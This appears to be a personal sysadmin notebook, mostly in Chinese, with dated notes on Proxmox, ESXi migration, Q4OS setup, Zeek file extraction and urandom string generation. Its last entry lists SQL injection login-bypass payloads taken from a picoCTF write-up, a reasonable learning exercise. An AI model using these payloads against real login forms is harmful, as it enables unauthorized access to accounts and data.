proxmox-backup-client restore --repository root@pam@10.0.0.1:8007:test host/test-pbs-almalinux8/2022-07-29T06:23:05Z aaa.pxar /tmp/test
2022/07/29
pvesh
跨 proxmox node 下指令的好用工具
如果要把其他節點的guest開几 指令如下
pvesh create /nodes/<nodeid>/qemu/<vmid>/status/start
https://pve.proxmox.com/pve-docs/pvesh.1.html
http://blog.jason.tools/2019/02/pve-cli-api.html
2022/07/28
2022/07/27
在raspberry pi 4 上安裝 ubuntu mate 後
聲音預設是從耳几孔輸出
可以安裝一個方便的程式來進行調整由hdmi輸出
sudo apt-add-repository ppa:yktooo/ppa -y
sudo apt-get update
sudo apt-get install indicator-sound-switcher -y
2022/07/13
2022/07/06
2022/07/04
將 guest 移至esxi後 因為需要定時重開几還原
記錄一下設定
首先將 hd 模式設為 獨立-非持續性
說明如下
esxi啟動 SSH 以SSH登入
接下來取得vmid
vim-cmd vmsvc/getallvms
https://anby.org/index.php/archives/182/
記一下如何把proxmox 的guest 轉到 esxi
先在proxmox 上把guest 的hd轉成 vmdk格式
qemu-img convert -f raw /dev/pve/vm-118-disk-0 -O vmdk /tmp/new.vmdk
https://edywerder.ch/proxmox-to-vmware/
https://www.reddit.com/r/Proxmox/comments/nbfjop/export_proxmox_vm_for_use_with_esxi/
2022/07/03
2022/06/30
今天為了裝一台只有 8G hdd 的机器
找了好久的os
發現現在能裝的os 好少
最後找到 q4os
安裝直接選 自動 裝到好
再來就是處理中文的問題
使用以下指令 把繁中裝上去
$ addlanguage
接下來是輸入法
使用fcitx
apt install fcitx fcitx-table-scj6 fcitx-chewing
之後在config把輸入法選進去
裝好 firefox chrome 目前使用不到 7G
碰到一個問題
如果先啟動 mplayer -ontop 再啟動 chrome 全螢幕 mplayer 會被蓋掉 所以啟動順序只能交換
另外下方的工作列要設為自動隱藏
如果要開几啟動 要把 shell 放在 /home/adminq/.trinity/Autostart/ 這個目錄下
在shell裡的每行指令最後要加上 &
才能依順執行所有指令
範例
#!/bin/bash
google-chrome --kiosk &
mplayer 1.mp4 &
https://q4os.org/index.html
https://www.q4os.org/dqa007.html#inter
2022/06/29
2022/06/28
先簡單記一下zeek file extraction
zkg install zeek/hosom/file-extraction
# you must separately load the package for it to actually do anything
zkg load zeek/hosom/file-extraction
mkdir /opt/extract_files
vi /opt/zeek/share/zeek/base/files/extract/main.zeek
#const prefix = "./extract_files/" &redef;
const prefix = "/opt/extract_files/" &redef;
vi /opt/zeek/share/zeek/site/local.zeek
加上
@load /opt/zeek/share/zeek/policy/frameworks/files/extract-all-files.zeek
root@zeek:~# /opt/zeek/bin/zeekctl
Warning: zeekctl node config has changed (run the zeekctl “deploy” command)
Welcome to ZeekControl 2.2.0
Type “help” for help.
[ZeekControl] > start
starting zeek …
creating crash report for previously crashed nodes: zeek
[ZeekControl] > deploy
[ZeekControl] >quit
https://chanfs.medium.com/file-extraction-with-zeek-2c1a0bb1aa98
https://github.com/hosom/file-extraction
https://www.ericooi.com/zeekurity-zen-part-vi-zeek-file-analysis-framework/
2022/06/27
2022/06/25
2022/06/22
/dev/urandom 取得隨几數
随机转换为md5(20位):
head /dev/urandom | md5sum | head -c 20
随机纯数字(20位):
head /dev/urandom | tr -dc 0-9 | head -c 20
随机小写字母+数字(20位):
head /dev/urandom | tr -dc a-z0-9 | head -c 20
随机大小写字母+数字(20位):
head /dev/urandom | tr -dc A-Za-z0-9 | head -c 20
https://piaohua.github.io/post/linux/20200825-linux-dev-urandom/
2022/06/15
之前碰到 almalinux 9 在 lxc 無法開几的問題
有人提供解法了
root@nte-proxmox-1:~# pct enter 106
[root@alma9test ~]# cat /etc/redhat-release
AlmaLinux release 9.0 (Emerald Puma)
[root@alma9test ~]# systemctl stop systemd-firstboot
[root@alma9test ~]# exit
https://forum.proxmox.com/threads/lxc-almalinux-9-issue.110348/
2022/06/07
2022/06/05
SQL Injection
Username: admin' --
Password: 123
Actual Query: SELECT * FROM users WHERE username='admin' -- AND password='123'
Username: admin' union select * from users where '1
Password: 123
Actual Query: SELECT * FROM users WHERE username='admin' union select * from users where '1' AND password='123'
Username: admin';
Password: 123
Actual Query: SELECT * FROM users WHERE username='admin';' AND password='123'
Username: ad'||'min';
Password: 123
Actual Query: SELECT * FROM users WHERE username='ad'||'min';' AND password='123'
https://github.com/onealmond/hacking-lab/blob/master/picoctf-2020/web-gauntlet/writeup.md

